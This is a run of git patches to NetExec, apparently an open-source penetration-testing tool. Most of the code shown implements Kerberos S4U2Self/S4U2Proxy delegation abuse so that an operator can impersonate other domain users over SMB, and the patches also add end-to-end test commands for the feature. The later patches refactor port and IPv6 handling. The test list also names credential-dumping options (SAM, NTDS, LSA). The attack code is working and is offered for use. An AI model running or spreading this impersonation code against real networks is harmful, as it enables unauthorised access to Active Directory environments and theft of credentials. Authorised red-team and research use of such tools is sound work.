From 4c419b5e083c9f9898ab10e0b47dc71a6f2a74ca Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 29 Sep 2023 19:21:59 +0200 Subject: [PATCH 01/28] implement s4u abuse --- nxc/connection.py | 3 +- nxc/protocols/smb.py | 24 ++- nxc/protocols/smb/kerberos.py | 359 ++++++++++++++++++++++++++++++++ nxc/protocols/smb/proto_args.py | 1 + 4 files changed, 382 insertions(+), 5 deletions(-) create mode 100644 nxc/protocols/smb/kerberos.py diff --git a/nxc/connection.py b/nxc/connection.py index 2322f8959..44834d619 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -371,7 +371,8 @@ def try_credentials(self, domain, username, owned, secret, cred_type, data=None) if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) : self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain") return False - + if self.args.delegate: + self.args.kerberos = True with sem: if cred_type == 'plaintext': if self.args.kerberos: diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d1bd716b5..ffe77f412 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -24,7 +24,8 @@ from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.krb5.kerberosv5 import SessionKeyDecryptionError -from impacket.krb5.types import KerberosException +from impacket.krb5.types import KerberosException, Principal +from impacket.krb5 import constants from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login @@ -33,6 +34,7 @@ from nxc.connection import * from nxc.logger import NXCAdapter from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.kerberos import kerberos_login_with_S4U from nxc.servers.smb import NXCSMBServer from nxc.protocols.smb.wmiexec import WMIEXEC from nxc.protocols.smb.atexec import TSCH_EXEC @@ -402,22 +404,32 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kerb_pass = "" self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") - self.conn.kerberosLogin( username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) + tgs = None + if self.args.delegate: + kerb_pass = "" + self.username = self.args.delegate + serverName = Principal('cifs/'+self.hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache) + self.logger.debug(f"Got TGS for {self.args.delegate} through S4U") + + self.conn.kerberosLogin( self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) self.check_if_admin() if username == "": self.username = self.conn.getCredentials()[0] - else: + elif not self.args.delegate: self.username = username used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + if self.args.delegate: + used_ccache = f" through S4U with {username}" else: self.plaintext_login(self.hostname, username, password) return True out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" self.logger.success(out) - if not self.args.local_auth: + if not self.args.local_auth and not self.args.delegate: add_user_bh(self.username, domain, self.logger, self.config) # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 @@ -441,10 +453,14 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", return False except OSError as e: used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + if self.args.delegate: + used_ccache = f" through S4U with {username}" self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") except (SessionError, Exception) as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + if self.args.delegate: + used_ccache = f" through S4U with {username}" self.logger.fail( f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", color="magenta" if error in smb_error_status else "red", diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py new file mode 100644 index 000000000..3202f4583 --- /dev/null +++ b/nxc/protocols/smb/kerberos.py @@ -0,0 +1,359 @@ +import datetime +import logging +import struct +import random +from impacket.winregistry import hexdump +from six import b + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 +from impacket.krb5 import constants + +def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache): + TGT = None + if useCache: + domain, user, tgt, _ = CCache.parseFile(domain, user, 'cifs/%s' % hostname) + if TGT is None: + raise + TGT = tgt['KDC_REP'] + cipher = tgt['cipher'] + sessionKey = tgt['sessionKey'] + if TGT is None: + userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + logging.info('Getting TGT for user') + tgt, cipher, _, sessionKey = getKerberosTGT(userName, password, domain, + lmhash, nthash, + aesKey, + kdcHost) + TGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + decodedTGT=TGT + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack(' Date: Tue, 3 Oct 2023 19:44:54 +0200 Subject: [PATCH 02/28] update e2e_tests --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 951a5ad8b..ced984b9c 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -13,6 +13,7 @@ netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --rid-brute netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-groups netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-auth +netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --delegate USERNAME netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --sam netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --lsa From dd18ef17528dbfb353884083b41166a1e384420b Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 12 Oct 2023 12:02:34 +0200 Subject: [PATCH 03/28] Added support for S4U2Self only --- nxc/protocols/smb.py | 2 +- nxc/protocols/smb/kerberos.py | 24 +++++++++++++++++++++++- nxc/protocols/smb/proto_args.py | 3 ++- 3 files changed, 26 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ffe77f412..fe1dc4e8c 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -409,7 +409,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kerb_pass = "" self.username = self.args.delegate serverName = Principal('cifs/'+self.hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache) + tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) self.logger.debug(f"Got TGS for {self.args.delegate} through S4U") self.conn.kerberosLogin( self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index 3202f4583..805c55ec7 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -16,7 +16,7 @@ from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 from impacket.krb5 import constants -def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache): +def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache, no_s4u2proxy = False): TGT = None if useCache: domain, user, tgt, _ = CCache.parseFile(domain, user, 'cifs/%s' % hostname) @@ -160,6 +160,28 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + if no_s4u2proxy: + cipherText = tgs['enc-part']['cipher'] + + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'].asOctets()) + + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + #return r, cipher, sessionKey, newSessionKey + tgs_formated = dict() + tgs_formated['KDC_REP'] = r + tgs_formated['cipher'] = cipher + tgs_formated['sessionKey'] = newSessionKey + return tgs_formated + if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 2ba9a85a8..6825c2098 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -2,7 +2,8 @@ def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser]) smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") - smb_parser.add_argument("--delegate", action="store", help="Impersonate user with s4u2self + s4u2proxy") + smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") + smb_parser.add_argument("--self", dest='no_s4u2proxy', action="store_true", help="Only do S4U2Self, no S4U2Proxy (use with delegate)") dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") From dd55907929df88124d0596118708c7aa8729ebdc Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 12 Oct 2023 14:39:28 +0200 Subject: [PATCH 04/28] update e2e --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index ced984b9c..6bf8f8e6e 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -14,6 +14,7 @@ netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-groups netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-auth netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --delegate USERNAME +netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --delegate USERNAME --self netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --sam netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --lsa From fbe9c9f3d98870d488c302cc1784578919980a15 Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Sun, 8 Oct 2023 17:10:04 +0800 Subject: [PATCH 05/28] [connection.py] add 'self.port' & improve gethost_addrinfo Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 28 ++++++++++++++-------------- nxc/protocols/ftp.py | 9 +++++---- nxc/protocols/ldap.py | 19 ++++++++++--------- nxc/protocols/mssql.py | 5 +++-- nxc/protocols/rdp.py | 7 ++++--- nxc/protocols/smb.py | 17 +++++++++-------- nxc/protocols/ssh.py | 11 ++++++----- nxc/protocols/vnc.py | 5 +++-- nxc/protocols/wmi.py | 5 +++-- 9 files changed, 57 insertions(+), 49 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 2322f8959..b990ae226 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -3,13 +3,12 @@ import random import socket -from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME -from socket import getaddrinfo from os.path import isfile from threading import BoundedSemaphore from functools import wraps from time import sleep from ipaddress import ip_address +from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo from nxc.config import pwned_label from nxc.helpers.logger import highlight @@ -22,17 +21,17 @@ global_failed_logins = 0 user_failed_logins = {} - def gethost_addrinfo(hostname): - try: - for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): - af, socktype, proto, canonname, sa = res - host = canonname if ip_address(sa[0]).is_link_local else sa[0] - except socket.gaierror: - for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): - af, socktype, proto, canonname, sa = res - host = sa[0] if sa[0] else canonname - return host + is_ipv6 = False + is_link_local_ipv6 = False + for res in getaddrinfo( hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): + af, socktype, proto, canonname, sa = res + if ip_address(sa[0]).version == 6: + is_ipv6 = True + host, is_link_local_ipv6 = (canonname, True) if ip_address(sa[0]).is_link_local else (sa[0], False) + else: + host = sa[0] + return host, is_ipv6, is_link_local_ipv6 def requires_admin(func): def _decorator(self, *args, **kwargs): @@ -76,6 +75,7 @@ def __init__(self, args, db, host): self.args = args self.db = db self.hostname = host + self.port = None self.conn = None self.admin_privs = False self.password = "" @@ -89,10 +89,10 @@ def __init__(self, args, db, host): self.logger = nxc_logger try: - self.host = gethost_addrinfo(self.hostname) + self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname) if self.args.kerberos: self.host = self.hostname - self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }") + self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}") except Exception as e: self.logger.info(f"Error resolving hostname {self.hostname}: {e}") return diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index 98dfc7d93..d8995c137 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -14,11 +14,12 @@ def __init__(self, args, db, host): super().__init__(args, db, host) def proto_logger(self): + self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "FTP", "host": self.host, - "port": self.args.port, + "port": self.port, "hostname": self.hostname, } ) @@ -45,7 +46,7 @@ def print_host_info(self): def create_conn_obj(self): self.conn = FTP() try: - self.conn.connect(host=self.host, port=self.args.port) + self.conn.connect(host=self.host, port=self.port) except error_reply: return False except error_temp: @@ -72,8 +73,8 @@ def plaintext_login(self, username, password): # 230 is "User logged in, proceed" response, ftplib raises an exception on failed login if "230" in resp: - self.logger.debug(f"Host: {self.host} Port: {self.args.port}") - self.db.add_host(self.host, self.args.port, self.remote_version) + self.logger.debug(f"Host: {self.host} Port: {self.port}") + self.db.add_host(self.host, self.port, self.remote_version) cred_id = self.db.add_credential(username, password) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 3bb613a5e..71add1e76 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -154,18 +154,19 @@ def __init__(self, args, db, host): def proto_logger(self): # self.logger = nxc_logger + self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "LDAP", "host": self.host, - "port": self.args.port, + "port": self.port, "hostname": self.hostname, } ) def get_ldap_info(self, host): try: - proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" + proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: @@ -360,7 +361,7 @@ def kerberos_login( try: # Connect to LDAP - proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" + proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]") self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN) @@ -386,7 +387,7 @@ def kerberos_login( # out = f"{domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {highlight('({})'.format(self.config.get('nxc', 'pwn3d_label')) if self.admin_privs else '')}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" + self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: @@ -484,7 +485,7 @@ def plaintext_login(self, domain, username, password): try: # Connect to LDAP - proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" + proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]") self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN) @@ -495,7 +496,7 @@ def plaintext_login(self, domain, username, password): out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" + self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: @@ -575,7 +576,7 @@ def hash_login(self, domain, username, ntlm_hash): try: # Connect to LDAP - proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" + proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) @@ -585,7 +586,7 @@ def hash_login(self, domain, username, ntlm_hash): # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" self.logger.extra["protocol"] = "LDAP" - self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389" + self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: @@ -1409,7 +1410,7 @@ def bloodhound(self): self.logger.highlight("Using kerberos auth from ccache") timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_" - bloodhound = BloodHound(ad, self.hostname, self.host, self.args.port) + bloodhound = BloodHound(ad, self.hostname, self.host, self.port) bloodhound.connect() bloodhound.run( diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index d288e5a34..97d87d59d 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -50,11 +50,12 @@ def proto_flow(self): self.call_cmd_args() def proto_logger(self): + self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "MSSQL", "host": self.host, - "port": self.args.port, + "port": self.port, "hostname": "None", } ) @@ -121,7 +122,7 @@ def print_host_info(self): def create_conn_obj(self): try: - self.conn = tds.MSSQL(self.host, self.args.port) + self.conn = tds.MSSQL(self.host, self.port) self.conn.connect() except socket.error as e: self.logger.debug(f"Error connecting to MSSQL: {e}") diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 1fca17f6f..78b85088b 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -94,11 +94,12 @@ def __init__(self, args, db, host): # self.call_cmd_args() def proto_logger(self): + self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "RDP", "host": self.host, - "port": self.args.port, + "port": self.port, "hostname": self.hostname, } ) @@ -112,7 +113,7 @@ def print_host_info(self): return True def create_conn_obj(self): - self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.args.port, timeout=self.args.rdp_timeout) + self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) self.check_nla() @@ -154,7 +155,7 @@ def create_conn_obj(self): self.target = RDPTarget( ip=self.host, hostname=self.hostname, - port=self.args.port, + port=self.port, domain=self.domain, dc_ip=self.domain, timeout=self.args.rdp_timeout, diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 2f1c760fb..1f5d74b1f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -173,11 +173,12 @@ def __init__(self, args, db, host): connection.__init__(self, args, db, host) def proto_logger(self): + self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "SMB", "host": self.host, - "port": self.args.port, + "port": self.port, "hostname": self.hostname, } ) @@ -592,7 +593,7 @@ def create_smbv1_conn(self, kdc=""): self.host if not kdc else kdc, self.host if not kdc else kdc, None, - self.args.port, + self.port, preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout, ) @@ -613,7 +614,7 @@ def create_smbv3_conn(self, kdc=""): self.host if not kdc else kdc, self.host if not kdc else kdc, None, - self.args.port, + self.port, timeout=self.args.smb_timeout, ) self.smbv1 = False @@ -755,7 +756,7 @@ def execute(self, payload=None, get_output=False, methods=None): self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.conn, - self.args.port, + self.port, self.username, self.password, self.domain, @@ -764,7 +765,7 @@ def execute(self, payload=None, get_output=False, methods=None): self.kdcHost, self.hash, self.args.share, - self.args.port, + self.port, self.logger, self.args.get_output_tries ) @@ -1320,12 +1321,12 @@ def rid_brute(self, max_rid=None): try: full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain - string_binding = KNOWN_PROTOCOLS[self.args.port]["bindstr"] + string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"] logging.debug(f"StringBinding {string_binding}") rpc_transport = transport.DCERPCTransportFactory(string_binding) - rpc_transport.set_dport(self.args.port) + rpc_transport.set_dport(self.port) - if KNOWN_PROTOCOLS[self.args.port]["set_host"]: + if KNOWN_PROTOCOLS[self.port]["set_host"]: rpc_transport.setRemoteHost(full_hostname) if hasattr(rpc_transport, "set_credentials"): diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index d602fdf5b..24b8bf19a 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -24,11 +24,12 @@ def __init__(self, args, db, host): super().__init__(args, db, host) def proto_logger(self): + self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "SSH", "host": self.host, - "port": self.args.port, + "port": self.port, "hostname": self.hostname, } ) @@ -46,14 +47,14 @@ def enum_host_info(self): stdin, stdout, stderr = self.conn.exec_command("uname -r") self.server_os = stdout.read().decode("utf-8") self.logger.debug(f"OS retrieved: {self.server_os}") - self.db.add_host(self.host, self.args.port, self.remote_version, os=self.server_os) + self.db.add_host(self.host, self.port, self.remote_version, os=self.server_os) def create_conn_obj(self): self.conn = paramiko.SSHClient() self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: - self.conn.connect(self.host, port=self.args.port) + self.conn.connect(self.host, port=self.port) except AuthenticationException: return True except SSHException: @@ -91,7 +92,7 @@ def plaintext_login(self, username, password, private_key=None): self.logger.debug(f"Logging in with key") self.conn.connect( self.host, - port=self.args.port, + port=self.port, username=username, passphrase=password if password != "" else None, pkey=pkey, @@ -118,7 +119,7 @@ def plaintext_login(self, username, password, private_key=None): self.logger.debug(f"Logging in with password") self.conn.connect( self.host, - port=self.args.port, + port=self.port, username=username, password=password, look_for_keys=False, diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index 5891b5a6e..fa4ccae8a 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -39,11 +39,12 @@ def proto_flow(self): self.call_cmd_args() def proto_logger(self): + self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "VNC", "host": self.host, - "port": self.args.port, + "port": self.port, "hostname": self.hostname, } ) @@ -53,7 +54,7 @@ def print_host_info(self): def create_conn_obj(self): try: - self.target = RDPTarget(ip=self.host, port=self.args.port) + self.target = RDPTarget(ip=self.host, port=self.port) credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.NONE) self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings) asyncio.run(self.connect_vnc(True)) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 68330035e..cab4cf9ce 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -51,16 +51,17 @@ def __init__(self, args, db, host): connection.__init__(self, args, db, host) def proto_logger(self): + self.port = self.args.port self.logger = NXCAdapter(extra={'protocol': 'WMI', 'host': self.host, - 'port': self.args.port, + 'port': self.port, 'hostname': self.hostname}) def create_conn_obj(self): if self.remoteName == '': self.remoteName = self.host try: - rpctansport = transport.DCERPCTransportFactory(r'ncacn_ip_tcp:{0}[{1}]'.format(self.remoteName, str(self.args.port))) + rpctansport = transport.DCERPCTransportFactory(r'ncacn_ip_tcp:{0}[{1}]'.format(self.remoteName, str(self.port))) rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="") rpctansport.setRemoteHost(self.host) rpctansport.set_connect_timeout(self.args.rpc_timeout) From d19aca3c0542aaa5dc22b2cee79aa2cd084c4b10 Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Thu, 19 Oct 2023 10:34:59 +0800 Subject: [PATCH 06/28] [connection.py] Neff review I Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 2 +- nxc/protocols/ftp.py | 1 - nxc/protocols/ldap.py | 2 -- nxc/protocols/mssql.py | 1 - nxc/protocols/rdp.py | 1 - nxc/protocols/smb.py | 1 - nxc/protocols/ssh.py | 1 - nxc/protocols/vnc.py | 1 - nxc/protocols/wmi.py | 1 - 9 files changed, 1 insertion(+), 10 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index b990ae226..ee981bc63 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -75,7 +75,7 @@ def __init__(self, args, db, host): self.args = args self.db = db self.hostname = host - self.port = None + self.port = self.args.port self.conn = None self.admin_privs = False self.password = "" diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index d8995c137..edd77eeb7 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -14,7 +14,6 @@ def __init__(self, args, db, host): super().__init__(args, db, host) def proto_logger(self): - self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "FTP", diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 71add1e76..c81c2cb45 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -153,8 +153,6 @@ def __init__(self, args, db, host): connection.__init__(self, args, db, host) def proto_logger(self): - # self.logger = nxc_logger - self.port = self.args.port self.logger = NXCAdapter( extra={ "protocol": "LDAP", diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 97d87d59d..b2387d947 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -50,7 +50,6 @@ def proto_flow(self): self.call_cmd_args() def 